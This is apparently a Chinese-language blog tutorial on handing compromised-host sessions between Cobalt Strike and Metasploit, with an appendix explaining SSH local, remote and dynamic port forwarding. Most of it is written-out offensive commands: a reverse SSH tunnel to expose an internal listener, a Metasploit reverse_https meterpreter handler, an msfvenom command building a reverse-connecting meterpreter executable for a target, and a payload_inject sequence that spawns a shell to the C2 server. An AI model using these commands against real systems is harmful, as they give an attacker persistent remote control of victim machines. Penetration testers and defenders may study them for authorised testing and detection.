Foreign beacon 主要用于将 cobalt strike 的 beacon shell 派生到 MSF 上。我们也看到了有两种类型的 Foreign beacon,http 与 https,他们的区别就是如果 CS 上的 beacon 是 http 的那么就用 http 类型的 foreign beacon,反之亦然。这篇文章会讲 CS 派发 shell 到 MSF,也会讲其反过程。
如果 msf 与 cs 的 teamserver 都在公网,那么派发将会非常简单,直接用公网 ip 就好。而且 teamserver 一般只会在公网上,但 msf 有可能在内网主机上。这里我们主要讲 C2 在公网上而 MSF 在内网。
首先配置公网机器的 ssh 转发:
vi /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yessystemctl restart sshd.service
先输入下面这条命令再进入 msf
ssh -fCNg -R 5555:10.92.78.138:5678 root@192.168.124.135
这条命令的含义是将所有访问 192.168.124.135 的 5555 端口的流量经由本机转发到 10.92.78.138 的 5678 端口,这种技术叫做 ssh 端口转发,在文章的结尾我会大概提一下这种技术。
打开 msf 依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 10.92.78.138
set lport 5678
exploit
然后回到 cs 上先创建一个新的 foreign listener,ip 为 teamserver 的 ip,端口为 5555,然后在已有的 cs 的 beacon 上选择 spawn,目标是刚创建的 listener。
payload 只能是 32 位的 reverse_http 或 reverse_https, 具体用什么看 foreign beacon 的情况,乱改的话就会无法派生出会话到 msf 上。
先看成果:
操作过程很简单我就不截图了,这里我给大家说一下原理。
分为三点来讲
首先我们知道 MSF 在内网,即使内网只能访问公网而公网不能访问内网,这时候我们就需要将我们内网的端口转发到公网上。具体做法就是通过我们的第一条命令也就是 ssh 端口转发技术来实现,关于这种技术文章有很多我这边也不多提。
其次呢,就是关于这个 Foreign beacon。就跟文章开头说的一样,如果你 MSF 使用的是 http 的 payload 来监听,我们就用 http 的 Foreign,反之亦然。
最后我们要说的是通信原理。首先我们要知道的一个点是,msf 到底在跟谁通信得到的 shell?到底是跟 C2 也就是 teamserver 还是受害主机还是说跟我们的 CS 的客户端?
揭晓答案,msf 是与受害主机进行通信的。即使 C2 的 shell 掉了,msf 的也不会掉。CS 的 C2 对与 msf 来说只是一个代理。
如上图所示,受害者主机只与 C2 有一个 tcp 连接,tcp 连接是 https 的底层链接。
附录
倘若 msf 的 windows 的 shell 出现乱码则输入 chcp 65001 就可以有很大的改善。
Metasploit 派生 shell 给 Cobaltstrike
首先,你需要拿到一个 metepreter 会话,将下面这条命令生成的 exe 文件放到目标系统上运行即可获得:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.92.78.138 LPORT=44444 -f exe >1.exe
Cobaltstrike 的 teamserver 的 ip 为 192.168.124.135,http 监听器端口为 4555
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.124.135
msf exploit(payload_inject) > set LPORT 4555
msf exploit(payload_inject) > set SESSION 3
msf exploit(payload_inject) > exploit
msf 的 shell 是 64 位 http 类型的,但是我反弹的 shell 是 32 位的 https 类型,且依旧成功。
证明 msf 分发 shell 的时候,主 shell 的种类跟分发的 shell 的种类没啥关系。msf 只能分发 32 位 payload 的 shell。且只要 msf 的 shell 掉了,则 CS 的 shell 也会掉。
综上所述,msf 派发出去的 payload 是 32 位的,且无论自己本身的 shell 是什么类型 (无论是 tcp 还是 http 还是 https),它都可以派发任意一种的 32 位 payload。且一旦 msf 的 shell 掉了,派发出去的所有 shell 都会掉。
CS 派发出去的 shell 就完全不同,即使 CS 自己的 shell 掉了,派发出去的也不会掉,派发出去的 shell 就相当于是一个完整的个体一般,但目前也是只能派发 32 位 payload 的 shell。
一些命令参数
-C 压缩数据传输 - f 后台登录用户名密码 - N 不执行 shell[与 - g 合用] -g 允许打开的端口让远程主机访问
在一台公网 VPS 上编辑 sshd 配置,开启 ssh 转发功能, 重启 ssh 服务,这是所有使用 ssh 隧道转发前的必备操作:
vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yessystemctl restart sshd.service
本地转发:
ssh -fCNg -L 5555:192.168.11.11:80 root@192.168.11.12
将远程主机 192.168.11.11 的 80 端口通过 vps 11.12 转发到本地的 5555 端口。
本地转发就是本地跟 vps 先建立连接,vps 再与目标主机的端口建立连接之后将目标主机的端口转发到本机的指定端口上。最终达成的效果是本机访问本机的某一个端口就可以实现访问目标端口,流量走势一般为:
外部流量–》本地 5555 端口—》远程服务器—》到目标主机 80 端口
本地转发可以达到的效果是,将远程 vps 的端口转发到本地,让本地的其他机器访问此主机的时候,就相当于访问了远程的 vps。远程转发:
ssh -fCNg -R 5555:172.16.99.146:80 root@172.16.99.150将访问 vps 的 5555 端口的流量转发到本机然后再由本机转发到 172.16.99.146:80
流量走势:
外界流量—》远程服务器 5555 端口—》本机–》目标主机的 80 端口
通过远程转发可以将自己的本地端口转发到 vps 上,达到的效果是访问 vps 上的指定端口就可以访问到本地机器。动态转发:ssh -fCNg -D 5555 root@192.168.11.12
#将所有访问本地 5555 端口的流量通过 vps192.168.11.12 转发出去。相当于一个 socks 代理。
假设有主机 a,b,c,vps 四台机器。
a 可以访问 b 但访问不了 vps,b 两个人都能访问,vps 可以访问 b,c 只能访问 vps。
当 a 想访问 vps 时候,就可以在 b 上执行 ssh 本地端口转发,这样子 a 访问 b 上的一个端口就相当于访问了 vps。
当有一台外网主机想访问 b 的时候,就可以在 b 上执行 ssh 远程端口转发,将访问 vps 的某个端口的流量转发到 b 主机自己身上。
https://blog.csdn.net/qq_41874930/article/details/107856140